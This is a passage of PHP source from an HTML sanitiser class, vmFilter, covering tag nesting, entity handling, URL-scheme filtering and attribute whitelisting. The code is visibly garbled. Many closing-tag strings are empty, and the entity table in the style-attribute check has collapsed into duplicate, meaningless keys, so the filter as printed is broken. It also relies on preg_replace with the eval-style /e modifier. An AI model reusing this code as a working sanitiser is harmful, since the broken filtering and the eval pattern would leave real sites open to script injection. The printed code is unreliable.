++$ci; --$i; continue; } if((($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql)) && !isset($eB[$e]) && !isset($ok[$e])){ array_splice($t, $i, 0, 'div>'); unset($e, $x); ++$ci; --$i; continue; } // if no open ele, $in = parent; mostly immediate parent-child relation should hold if(!$ql or !isset($eN[$e]) or !array_intersect($q, $cN2)){ if(!isset($ok[$e])){ if($ql && isset($cT[$p])){ echo ''; unset($e, $x); --$i; } continue; } if(!isset($cE[$e])){ $q[] = $e; } echo '<', $e, $a, '>'; unset($e); continue; } // specific parent-child if(isset($cS[$p][$e])){ if(!isset($cE[$e])){ $q[] = $e; } echo '<', $e, $a, '>'; unset($e); continue; } // nesting $add = ''; $q2 = array(); for($k=-1, $kc=count($q); ++$k<$kc;){ $d = $q[$k]; $ok2 = array(); if(isset($cS[$d])){ $q2[] = $d; continue; } $ok2 = isset($cI[$d]) ? $eI : $eF; if(isset($cO[$d])){ $ok2 = $ok2 + $cO[$d]; } if(isset($cN[$d])){ $ok2 = array_diff_assoc($ok2, $cN[$d]); } if(!isset($ok2[$e])){ if(!$k && !isset($inOk[$e])){ continue 2; } $add = ""; for(;++$k<$kc;){ $add = "{$add}"; } break; } else{$q2[] = $d; } } $q = $q2; if(!isset($cE[$e])){ $q[] = $e; } echo $add, '<', $e, $a, '>'; unset($e); continue; } // end if($ql = count($q)){ $p = array_pop($q); $q[] = $p; if(isset($cS[$p])){ $ok = $cS[$p]; } elseif(isset($cI[$p])){ $ok = $eI; $cI['del'] = 1; $cI['ins'] = 1; } elseif(isset($cF[$p])){ $ok = $eF; unset($cI['del'], $cI['ins']); } elseif(isset($cB[$p])){ $ok = $eB; unset($cI['del'], $cI['ins']); } if(isset($cO[$p])){ $ok = $ok + $cO[$p]; } if(isset($cN[$p])){ $ok = array_diff_assoc($ok, $cN[$p]); } }else{$ok = $inOk; unset($cI['del'], $cI['ins']); } if(isset($e) && ($do == 1 or (isset($ok['#pcdata']) && ($do == 3 or $do == 5)))){ echo '<', $s, $e, $a, '>'; } if(isset($x[0])){ if(strlen(trim($x)) && (($ql && isset($cB[$p])) or (isset($cB[$in]) && !$ql))){ echo '
', $x, '
'; } elseif($do < 3 or isset($ok['#pcdata'])){ echo $x; } elseif(strpos($x, "\x02\x04")){ foreach(preg_split('`(\x01\x02[^\x01\x02]+\x02\x01)`', $x, -1, PREG_SPLIT_DELIM_CAPTURE | PREG_SPLIT_NO_EMPTY) as $v){ echo (substr($v, 0, 2) == "\x01\x02" ? $v : ($do > 4 ? preg_replace('`\S`', '', $v) : '')); } }elseif($do > 4){ echo preg_replace('`\S`', '', $x); } } while(!empty($q) && ($e = array_pop($q))){ echo ''; } $o = ob_get_contents(); ob_end_clean(); return $o; // eof } public static function hl_cmtcd($t){ // comment/CDATA sec handler $t = $t[0]; $C = vmFilter::$C; if(!($v = $C[$n = $t[3] == '-' ? 'comment' : 'cdata'])){ return $t; } if($v == 1){ return ''; } if($n == 'comment'){ if(substr(($t = preg_replace('`--+`', '-', substr($t, 4, -3))), -1) != ' '){ $t .= ' '; } } else{$t = substr($t, 1, -1); } $t = $v == 2 ? str_replace(array('&', '<', '>'), array('&', '<', '>'), $t) : $t; return str_replace(array('&', '<', '>'), array("\x03", "\x04", "\x05"), ($n == 'comment' ? "\x01\x02\x04!--$t--\x05\x02\x01" : "\x01\x01\x04$t\x05\x01\x01")); // eof } public static function hl_ent($t){ // entitity handler $C = vmFilter::$C; $t = $t[1]; static $U = array('quot'=>1,'amp'=>1,'lt'=>1,'gt'=>1); static $N = array('fnof'=>'402', 'Alpha'=>'913', 'Beta'=>'914', 'Gamma'=>'915', 'Delta'=>'916', 'Epsilon'=>'917', 'Zeta'=>'918', 'Eta'=>'919', 'Theta'=>'920', 'Iota'=>'921', 'Kappa'=>'922', 'Lambda'=>'923', 'Mu'=>'924', 'Nu'=>'925', 'Xi'=>'926', 'Omicron'=>'927', 'Pi'=>'928', 'Rho'=>'929', 'Sigma'=>'931', 'Tau'=>'932', 'Upsilon'=>'933', 'Phi'=>'934', 'Chi'=>'935', 'Psi'=>'936', 'Omega'=>'937', 'alpha'=>'945', 'beta'=>'946', 'gamma'=>'947', 'delta'=>'948', 'epsilon'=>'949', 'zeta'=>'950', 'eta'=>'951', 'theta'=>'952', 'iota'=>'953', 'kappa'=>'954', 'lambda'=>'955', 'mu'=>'956', 'nu'=>'957', 'xi'=>'958', 'omicron'=>'959', 'pi'=>'960', 'rho'=>'961', 'sigmaf'=>'962', 'sigma'=>'963', 'tau'=>'964', 'upsilon'=>'965', 'phi'=>'966', 'chi'=>'967', 'psi'=>'968', 'omega'=>'969', 'thetasym'=>'977', 'upsih'=>'978', 'piv'=>'982', 'bull'=>'8226', 'hellip'=>'8230', 'prime'=>'8242', 'Prime'=>'8243', 'oline'=>'8254', 'frasl'=>'8260', 'weierp'=>'8472', 'image'=>'8465', 'real'=>'8476', 'trade'=>'8482', 'alefsym'=>'8501', 'larr'=>'8592', 'uarr'=>'8593', 'rarr'=>'8594', 'darr'=>'8595', 'harr'=>'8596', 'crarr'=>'8629', 'lArr'=>'8656', 'uArr'=>'8657', 'rArr'=>'8658', 'dArr'=>'8659', 'hArr'=>'8660', 'forall'=>'8704', 'part'=>'8706', 'exist'=>'8707', 'empty'=>'8709', 'nabla'=>'8711', 'isin'=>'8712', 'notin'=>'8713', 'ni'=>'8715', 'prod'=>'8719', 'sum'=>'8721', 'minus'=>'8722', 'lowast'=>'8727', 'radic'=>'8730', 'prop'=>'8733', 'infin'=>'8734', 'ang'=>'8736', 'and'=>'8743', 'or'=>'8744', 'cap'=>'8745', 'cup'=>'8746', 'int'=>'8747', 'there4'=>'8756', 'sim'=>'8764', 'cong'=>'8773', 'asymp'=>'8776', 'ne'=>'8800', 'equiv'=>'8801', 'le'=>'8804', 'ge'=>'8805', 'sub'=>'8834', 'sup'=>'8835', 'nsub'=>'8836', 'sube'=>'8838', 'supe'=>'8839', 'oplus'=>'8853', 'otimes'=>'8855', 'perp'=>'8869', 'sdot'=>'8901', 'lceil'=>'8968', 'rceil'=>'8969', 'lfloor'=>'8970', 'rfloor'=>'8971', 'lang'=>'9001', 'rang'=>'9002', 'loz'=>'9674', 'spades'=>'9824', 'clubs'=>'9827', 'hearts'=>'9829', 'diams'=>'9830', 'apos'=>'39', 'OElig'=>'338', 'oelig'=>'339', 'Scaron'=>'352', 'scaron'=>'353', 'Yuml'=>'376', 'circ'=>'710', 'tilde'=>'732', 'ensp'=>'8194', 'emsp'=>'8195', 'thinsp'=>'8201', 'zwnj'=>'8204', 'zwj'=>'8205', 'lrm'=>'8206', 'rlm'=>'8207', 'ndash'=>'8211', 'mdash'=>'8212', 'lsquo'=>'8216', 'rsquo'=>'8217', 'sbquo'=>'8218', 'ldquo'=>'8220', 'rdquo'=>'8221', 'bdquo'=>'8222', 'dagger'=>'8224', 'Dagger'=>'8225', 'permil'=>'8240', 'lsaquo'=>'8249', 'rsaquo'=>'8250', 'euro'=>'8364', 'nbsp'=>'160', 'iexcl'=>'161', 'cent'=>'162', 'pound'=>'163', 'curren'=>'164', 'yen'=>'165', 'brvbar'=>'166', 'sect'=>'167', 'uml'=>'168', 'copy'=>'169', 'ordf'=>'170', 'laquo'=>'171', 'not'=>'172', 'shy'=>'173', 'reg'=>'174', 'macr'=>'175', 'deg'=>'176', 'plusmn'=>'177', 'sup2'=>'178', 'sup3'=>'179', 'acute'=>'180', 'micro'=>'181', 'para'=>'182', 'middot'=>'183', 'cedil'=>'184', 'sup1'=>'185', 'ordm'=>'186', 'raquo'=>'187', 'frac14'=>'188', 'frac12'=>'189', 'frac34'=>'190', 'iquest'=>'191', 'Agrave'=>'192', 'Aacute'=>'193', 'Acirc'=>'194', 'Atilde'=>'195', 'Auml'=>'196', 'Aring'=>'197', 'AElig'=>'198', 'Ccedil'=>'199', 'Egrave'=>'200', 'Eacute'=>'201', 'Ecirc'=>'202', 'Euml'=>'203', 'Igrave'=>'204', 'Iacute'=>'205', 'Icirc'=>'206', 'Iuml'=>'207', 'ETH'=>'208', 'Ntilde'=>'209', 'Ograve'=>'210', 'Oacute'=>'211', 'Ocirc'=>'212', 'Otilde'=>'213', 'Ouml'=>'214', 'times'=>'215', 'Oslash'=>'216', 'Ugrave'=>'217', 'Uacute'=>'218', 'Ucirc'=>'219', 'Uuml'=>'220', 'Yacute'=>'221', 'THORN'=>'222', 'szlig'=>'223', 'agrave'=>'224', 'aacute'=>'225', 'acirc'=>'226', 'atilde'=>'227', 'auml'=>'228', 'aring'=>'229', 'aelig'=>'230', 'ccedil'=>'231', 'egrave'=>'232', 'eacute'=>'233', 'ecirc'=>'234', 'euml'=>'235', 'igrave'=>'236', 'iacute'=>'237', 'icirc'=>'238', 'iuml'=>'239', 'eth'=>'240', 'ntilde'=>'241', 'ograve'=>'242', 'oacute'=>'243', 'ocirc'=>'244', 'otilde'=>'245', 'ouml'=>'246', 'divide'=>'247', 'oslash'=>'248', 'ugrave'=>'249', 'uacute'=>'250', 'ucirc'=>'251', 'uuml'=>'252', 'yacute'=>'253', 'thorn'=>'254', 'yuml'=>'255'); if($t[0] != '#'){ return ($C['and_mark'] ? "\x06" : '&'). (isset($U[$t]) ? $t : (isset($N[$t]) ? (!$C['named_entity'] ? '#'. ($C['hexdec_entity'] > 1 ? 'x'. dechex($N[$t]) : $N[$t]) : $t) : 'amp;'. $t)). ';'; } if(($n = ctype_digit($t = substr($t, 1)) ? intval($t) : hexdec(substr($t, 1))) < 9 or ($n > 13 && $n < 32) or $n == 11 or $n == 12 or ($n > 126 && $n < 160 && $n != 133) or ($n > 55295 && ($n < 57344 or ($n > 64975 && $n < 64992) or $n == 65534 or $n == 65535 or $n > 1114111))){ return ($C['and_mark'] ? "\x06" : '&'). "amp;#{$t};"; } return ($C['and_mark'] ? "\x06" : '&'). '#'. (((ctype_digit($t) && $C['hexdec_entity'] < 2) or !$C['hexdec_entity']) ? $n : 'x'. dechex($n)). ';'; // eof } public static function hl_prot($p, $c=null){ // check URL scheme $C = vmFilter::$C; $b = $a = ''; if($c == null){ $c = 'style'; $b = $p[1]; $a = $p[3]; $p = trim($p[2]); } $c = isset($C['schemes'][$c]) ? $C['schemes'][$c] : $C['schemes']['*']; static $d = 'denied:'; if(isset($c['!']) && substr($p, 0, 7) != $d){ $p = "$d$p"; } if(isset($c['*']) or !strcspn($p, '#?;') or (substr($p, 0, 7) == $d)){ return "{$b}{$p}{$a}"; } // All ok, frag, query, param if(preg_match('`^([a-z\d\-+.&#; ]+?)(:|&#(58|x3a);|%3a|\\\\0{0,4}3a).`i', $p, $m) && !isset($c[strtolower($m[1])])){ // Denied prot return "{$b}{$d}{$p}{$a}"; } if($C['abs_url']){ if($C['abs_url'] == -1 && strpos($p, $C['base_url']) === 0){ // Make url rel $p = substr($p, strlen($C['base_url'])); }elseif(empty($m[1])){ // Make URL abs if(substr($p, 0, 2) == '//'){ $p = substr($C['base_url'], 0, strpos($C['base_url'], ':')+1). $p; } elseif($p[0] == '/'){ $p = preg_replace('`(^.+?://[^/]+)(.*)`', '$1', $C['base_url']). $p; } elseif(strcspn($p, './')){ $p = $C['base_url']. $p; } else{ preg_match('`^([a-zA-Z\d\-+.]+://[^/]+)(.*)`', $C['base_url'], $m); $p = preg_replace('`(?<=/)\./`', '', $m[2]. $p); while(preg_match('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', $p)){ $p = preg_replace('`(?<=/)([^/]{3,}|[^/.]+?|\.[^/.]|[^/.]\.)/\.\./`', '', $p); } $p = $m[1]. $p; } } } return "{$b}{$p}{$a}"; // eof } public static function hl_regex($p){ // ?regex if(empty($p)){ return 0; } if($t = ini_get('track_errors')){ $o = isset($php_errormsg) ? $php_errormsg : null; } else{ini_set('track_errors', 1); } unset($php_errormsg); if(($d = ini_get('display_errors'))){ ini_set('display_errors', 0); } preg_match($p, ''); if($d){ ini_set('display_errors', 1); } $r = isset($php_errormsg) ? 0 : 1; if($t){ $php_errormsg = isset($o) ? $o : null; } else{ini_set('track_errors', 0); } return $r; // eof } public static function hl_spec($t){ // final $spec $s = array(); $t = str_replace(array("\t", "\r", "\n", ' '), '', preg_replace('/"(?>(`.|[^"])*)"/sme', 'substr(str_replace(array(";", "|", "~", " ", ",", "/", "(", ")", \'`"\'), array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08", "\""), "$0"), 1, -1)', trim($t))); for($i = count(($t = explode(';', $t))); --$i>=0;){ $w = $t[$i]; if(empty($w) or ($e = strpos($w, '=')) === false or !strlen(($a = substr($w, $e+1)))){ continue; } $y = $n = array(); foreach(explode(',', $a) as $v){ if(!preg_match('`^([a-z:\-\*]+)(?:\((.*?)\))?`i', $v, $m)){ continue; } if(($x = strtolower($m[1])) == '-*'){ $n['*'] = 1; continue; } if($x[0] == '-'){ $n[substr($x, 1)] = 1; continue; } if(!isset($m[2])){ $y[$x] = 1; continue; } foreach(explode('/', $m[2]) as $m){ if(empty($m) or ($p = strpos($m, '=')) == 0 or $p < 5){ $y[$x] = 1; continue; } $y[$x][strtolower(substr($m, 0, $p))] = str_replace(array("\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08"), array(";", "|", "~", " ", ",", "/", "(", ")"), substr($m, $p+1)); } if(isset($y[$x]['match']) && !vmFilter::hl_regex($y[$x]['match'])){ unset($y[$x]['match']); } if(isset($y[$x]['nomatch']) && !vmFilter::hl_regex($y[$x]['nomatch'])){ unset($y[$x]['nomatch']); } } if(!count($y) && !count($n)){ continue; } foreach(explode(',', substr($w, 0, $e)) as $v){ if(!strlen(($v = strtolower($v)))){ continue; } if(count($y)){ $s[$v] = $y; } if(count($n)){ $s[$v]['n'] = $n; } } } return $s; // eof } public static function hl_tag($t){ // tag/attribute handler $C = vmFilter::$C; $t = $t[0]; // invalid < > if($t == '< '){ return '< '; } if($t == '>'){ return '>'; } if(!preg_match('`^<(/?)([a-zA-Z][a-zA-Z1-6]*)([^>]*?)\s?>$`m', $t, $m)){ return str_replace(array('<', '>'), array('<', '>'), $t); }elseif(!isset($C['elements'][($e = strtolower($m[2]))])){ return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('<', '>'), $t) : ''); } // attr string $a = str_replace(array("\n", "\r", "\t"), ' ', trim($m[3])); // tag transform static $eD = array('applet'=>1, 'center'=>1, 'dir'=>1, 'embed'=>1, 'font'=>1, 'isindex'=>1, 'menu'=>1, 's'=>1, 'strike'=>1, 'u'=>1); // Deprecated if($C['make_tag_strict'] && isset($eD[$e])){ $trt = vmFilter::hl_tag2($e, $a, $C['make_tag_strict']); if(!$e){ return (($C['keep_bad']%2) ? str_replace(array('<', '>'), array('<', '>'), $t) : ''); } } // close tag static $eE = array('area'=>1, 'br'=>1, 'col'=>1, 'embed'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'isindex'=>1, 'param'=>1); // Empty ele if(!empty($m[1])){ return (!isset($eE[$e]) ? "" : (($C['keep_bad'])%2 ? str_replace(array('<', '>'), array('<', '>'), $t) : '')); } // open tag & attr static $aN = array('abbr'=>array('td'=>1, 'th'=>1), 'accept-charset'=>array('form'=>1), 'accept'=>array('form'=>1, 'input'=>1), 'accesskey'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'legend'=>1, 'textarea'=>1), 'action'=>array('form'=>1), 'align'=>array('caption'=>1, 'embed'=>1, 'applet'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'legend'=>1, 'table'=>1, 'hr'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'p'=>1, 'col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'alt'=>array('applet'=>1, 'area'=>1, 'img'=>1, 'input'=>1), 'archive'=>array('applet'=>1, 'object'=>1), 'axis'=>array('td'=>1, 'th'=>1), 'bgcolor'=>array('embed'=>1, 'table'=>1, 'tr'=>1, 'td'=>1, 'th'=>1), 'border'=>array('table'=>1, 'img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'cellpadding'=>array('table'=>1), 'cellspacing'=>array('table'=>1), 'char'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charoff'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'charset'=>array('a'=>1, 'script'=>1), 'checked'=>array('input'=>1), 'cite'=>array('blockquote'=>1, 'q'=>1, 'del'=>1, 'ins'=>1), 'classid'=>array('object'=>1), 'clear'=>array('br'=>1), 'code'=>array('applet'=>1), 'codebase'=>array('object'=>1, 'applet'=>1), 'codetype'=>array('object'=>1), 'color'=>array('font'=>1), 'cols'=>array('textarea'=>1), 'colspan'=>array('td'=>1, 'th'=>1), 'compact'=>array('dir'=>1, 'dl'=>1, 'menu'=>1, 'ol'=>1, 'ul'=>1), 'coords'=>array('area'=>1, 'a'=>1), 'data'=>array('object'=>1), 'datetime'=>array('del'=>1, 'ins'=>1), 'declare'=>array('object'=>1), 'defer'=>array('script'=>1), 'dir'=>array('bdo'=>1), 'disabled'=>array('button'=>1, 'input'=>1, 'optgroup'=>1, 'option'=>1, 'select'=>1, 'textarea'=>1), 'enctype'=>array('form'=>1), 'face'=>array('font'=>1), 'for'=>array('label'=>1), 'frame'=>array('table'=>1), 'frameborder'=>array('iframe'=>1), 'headers'=>array('td'=>1, 'th'=>1), 'height'=>array('embed'=>1, 'iframe'=>1, 'td'=>1, 'th'=>1, 'img'=>1, 'object'=>1, 'applet'=>1), 'href'=>array('a'=>1, 'area'=>1), 'hreflang'=>array('a'=>1), 'hspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'ismap'=>array('img'=>1, 'input'=>1), 'label'=>array('option'=>1, 'optgroup'=>1), 'language'=>array('script'=>1), 'longdesc'=>array('img'=>1, 'iframe'=>1), 'marginheight'=>array('iframe'=>1), 'marginwidth'=>array('iframe'=>1), 'maxlength'=>array('input'=>1), 'method'=>array('form'=>1), 'model'=>array('embed'=>1), 'multiple'=>array('select'=>1), 'name'=>array('button'=>1, 'embed'=>1, 'textarea'=>1, 'applet'=>1, 'select'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'a'=>1, 'input'=>1, 'object'=>1, 'map'=>1, 'param'=>1), 'nohref'=>array('area'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'object'=>array('applet'=>1), 'onblur'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onchange'=>array('input'=>1, 'select'=>1, 'textarea'=>1), 'onfocus'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'label'=>1, 'select'=>1, 'textarea'=>1), 'onreset'=>array('form'=>1), 'onselect'=>array('input'=>1, 'textarea'=>1), 'onsubmit'=>array('form'=>1), 'pluginspage'=>array('embed'=>1), 'pluginurl'=>array('embed'=>1), 'prompt'=>array('isindex'=>1), 'readonly'=>array('textarea'=>1, 'input'=>1), 'rel'=>array('a'=>1), 'rev'=>array('a'=>1), 'rows'=>array('textarea'=>1), 'rowspan'=>array('td'=>1, 'th'=>1), 'rules'=>array('table'=>1), 'scope'=>array('td'=>1, 'th'=>1), 'scrolling'=>array('iframe'=>1), 'selected'=>array('option'=>1), 'shape'=>array('area'=>1, 'a'=>1), 'size'=>array('hr'=>1, 'font'=>1, 'input'=>1, 'select'=>1), 'span'=>array('col'=>1, 'colgroup'=>1), 'src'=>array('embed'=>1, 'script'=>1, 'input'=>1, 'iframe'=>1, 'img'=>1), 'standby'=>array('object'=>1), 'start'=>array('ol'=>1), 'summary'=>array('table'=>1), 'tabindex'=>array('a'=>1, 'area'=>1, 'button'=>1, 'input'=>1, 'object'=>1, 'select'=>1, 'textarea'=>1), 'target'=>array('a'=>1, 'area'=>1, 'form'=>1), 'type'=>array('a'=>1, 'embed'=>1, 'object'=>1, 'param'=>1, 'script'=>1, 'input'=>1, 'li'=>1, 'ol'=>1, 'ul'=>1, 'button'=>1), 'usemap'=>array('img'=>1, 'input'=>1, 'object'=>1), 'valign'=>array('col'=>1, 'colgroup'=>1, 'tbody'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1), 'value'=>array('input'=>1, 'option'=>1, 'param'=>1, 'button'=>1, 'li'=>1), 'valuetype'=>array('param'=>1), 'vspace'=>array('applet'=>1, 'img'=>1, 'object'=>1), 'width'=>array('embed'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'object'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'applet'=>1, 'col'=>1, 'colgroup'=>1, 'pre'=>1), 'wmode'=>array('embed'=>1), 'xml:space'=>array('pre'=>1, 'script'=>1, 'style'=>1)); // Ele-specific static $aNE = array('checked'=>1, 'compact'=>1, 'declare'=>1, 'defer'=>1, 'disabled'=>1, 'ismap'=>1, 'multiple'=>1, 'nohref'=>1, 'noresize'=>1, 'noshade'=>1, 'nowrap'=>1, 'readonly'=>1, 'selected'=>1); // Empty static $aNP = array('action'=>1, 'cite'=>1, 'classid'=>1, 'codebase'=>1, 'data'=>1, 'href'=>1, 'longdesc'=>1, 'model'=>1, 'pluginspage'=>1, 'pluginurl'=>1, 'usemap'=>1); // Need scheme check; excludes style, on* & src static $aNU = array('class'=>array('param'=>1, 'script'=>1), 'dir'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'id'=>array('script'=>1), 'lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'xml:lang'=>array('applet'=>1, 'br'=>1, 'iframe'=>1, 'param'=>1, 'script'=>1), 'onclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'ondblclick'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeydown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeypress'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onkeyup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousedown'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmousemove'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseout'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseover'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'onmouseup'=>array('applet'=>1, 'bdo'=>1, 'br'=>1, 'font'=>1, 'iframe'=>1, 'isindex'=>1, 'param'=>1, 'script'=>1), 'style'=>array('param'=>1, 'script'=>1), 'title'=>array('param'=>1, 'script'=>1)); // Univ & exceptions if($C['lc_std_val']){ // predef attr vals for $eAL & $aNE ele static $aNL = array('all'=>1, 'baseline'=>1, 'bottom'=>1, 'button'=>1, 'center'=>1, 'char'=>1, 'checkbox'=>1, 'circle'=>1, 'col'=>1, 'colgroup'=>1, 'cols'=>1, 'data'=>1, 'default'=>1, 'file'=>1, 'get'=>1, 'groups'=>1, 'hidden'=>1, 'image'=>1, 'justify'=>1, 'left'=>1, 'ltr'=>1, 'middle'=>1, 'none'=>1, 'object'=>1, 'password'=>1, 'poly'=>1, 'post'=>1, 'preserve'=>1, 'radio'=>1, 'rect'=>1, 'ref'=>1, 'reset'=>1, 'right'=>1, 'row'=>1, 'rowgroup'=>1, 'rows'=>1, 'rtl'=>1, 'submit'=>1, 'text'=>1, 'top'=>1); static $eAL = array('a'=>1, 'area'=>1, 'bdo'=>1, 'button'=>1, 'col'=>1, 'form'=>1, 'img'=>1, 'input'=>1, 'object'=>1, 'optgroup'=>1, 'option'=>1, 'param'=>1, 'script'=>1, 'select'=>1, 'table'=>1, 'td'=>1, 'tfoot'=>1, 'th'=>1, 'thead'=>1, 'tr'=>1, 'xml:space'=>1); $lcase = isset($eAL[$e]) ? 1 : 0; } $depTr = 0; if($C['no_deprecated_attr']){ // dep attr:applicable ele static $aND = array('align'=>array('caption'=>1, 'div'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'object'=>1, 'p'=>1, 'table'=>1), 'bgcolor'=>array('table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1), 'border'=>array('img'=>1, 'object'=>1), 'bordercolor'=>array('table'=>1, 'td'=>1, 'tr'=>1), 'clear'=>array('br'=>1), 'compact'=>array('dl'=>1, 'ol'=>1, 'ul'=>1), 'height'=>array('td'=>1, 'th'=>1), 'hspace'=>array('img'=>1, 'object'=>1), 'language'=>array('script'=>1), 'name'=>array('a'=>1, 'form'=>1, 'iframe'=>1, 'img'=>1, 'map'=>1), 'noshade'=>array('hr'=>1), 'nowrap'=>array('td'=>1, 'th'=>1), 'size'=>array('hr'=>1), 'start'=>array('ol'=>1), 'type'=>array('li'=>1, 'ol'=>1, 'ul'=>1), 'value'=>array('li'=>1), 'vspace'=>array('img'=>1, 'object'=>1), 'width'=>array('hr'=>1, 'pre'=>1, 'td'=>1, 'th'=>1)); static $eAD = array('a'=>1, 'br'=>1, 'caption'=>1, 'div'=>1, 'dl'=>1, 'form'=>1, 'h1'=>1, 'h2'=>1, 'h3'=>1, 'h4'=>1, 'h5'=>1, 'h6'=>1, 'hr'=>1, 'iframe'=>1, 'img'=>1, 'input'=>1, 'legend'=>1, 'li'=>1, 'map'=>1, 'object'=>1, 'ol'=>1, 'p'=>1, 'pre'=>1, 'script'=>1, 'table'=>1, 'td'=>1, 'th'=>1, 'tr'=>1, 'ul'=>1); $depTr = isset($eAD[$e]) ? 1 : 0; } // attr name-vals if(strpos($a, "\x01") !== false){ $a = preg_replace('`\x01[^\x01]*\x01`', '', $a); } // No comment/CDATA sec $mode = 0; $a = trim($a, ' /'); $aA = array(); while(strlen($a)){ $w = 0; switch($mode){ case 0: // Name if(preg_match('`^[a-zA-Z][\-a-zA-Z:]+`', $a, $m)){ $nm = strtolower($m[0]); $w = $mode = 1; $a = ltrim(substr_replace($a, '', 0, strlen($m[0]))); } break; case 1: if($a[0] == '='){ // = $w = 1; $mode = 2; $a = ltrim($a, '= '); }else{ // No val $w = 1; $mode = 0; $a = ltrim($a); $aA[$nm] = ''; } break; case 2: // Val if(preg_match('`^"[^"]*"`', $a, $m) or preg_match("`^'[^']*'`", $a, $m) or preg_match("`^\s*[^\s\"']+`", $a, $m)){ $m = $m[0]; $w = 1; $mode = 0; $a = ltrim(substr_replace($a, '', 0, strlen($m))); $aA[$nm] = trim(($m[0] == '"' or $m[0] == '\'') ? substr($m, 1, -1) : $m); } break; } if($w == 0){ // Parse errs, deal with space, " & ' $a = preg_replace('`^(?:"[^"]*("|$)|\'[^\']*(\'|$)|\S)*\s*`', '', $a); $mode = 0; } } if($mode == 1){ $aA[$nm] = ''; } // clean attrs $S = vmFilter::$S; $rl = isset($S[$e]) ? $S[$e] : array(); $a = array(); $nfr = 0; foreach($aA as $k=>$v){ if(((isset($C['deny_attribute']['*']) ? isset($C['deny_attribute'][$k]) : !isset($C['deny_attribute'][$k])) or isset($rl[$k])) && ((!isset($rl['n'][$k]) && !isset($rl['n']['*'])) or isset($rl[$k])) && (isset($aN[$k][$e]) or (isset($aNU[$k]) && !isset($aNU[$k][$e])))){ if(isset($aNE[$k])){ $v = $k; } elseif(!empty($lcase) && (($e != 'button' or $e != 'input') or $k == 'type')){ // Rather loose but ?not cause issues $v = (isset($aNL[($v2 = strtolower($v))])) ? $v2 : $v; } if($k == 'style' && !$C['style_pass']){ if(false !== strpos($v, '&#')){ static $sC = array(' '=>' ', ' '=>' ', 'E'=>'e', 'E'=>'e', 'e'=>'e', 'e'=>'e', 'X'=>'x', 'X'=>'x', 'x'=>'x', 'x'=>'x', 'P'=>'p', 'P'=>'p', 'p'=>'p', 'p'=>'p', 'S'=>'s', 'S'=>'s', 's'=>'s', 's'=>'s', 'I'=>'i', 'I'=>'i', 'i'=>'i', 'i'=>'i', 'O'=>'o', 'O'=>'o', 'o'=>'o', 'o'=>'o', 'N'=>'n', 'N'=>'n', 'n'=>'n', 'n'=>'n', 'U'=>'u', 'U'=>'u', 'u'=>'u', 'u'=>'u', 'R'=>'r', 'R'=>'r', 'r'=>'r', 'r'=>'r', 'L'=>'l', 'L'=>'l', 'l'=>'l', 'l'=>'l', '('=>'(', '('=>'(', ')'=>')', ')'=>')', ' '=>':', ' '=>':', '"'=>'"', '"'=>'"', '''=>"'", '''=>"'", '/'=>'/', '/'=>'/', '*'=>'*', '*'=>'*', '\'=>'\\', '\'=>'\\'); $v = strtr($v, 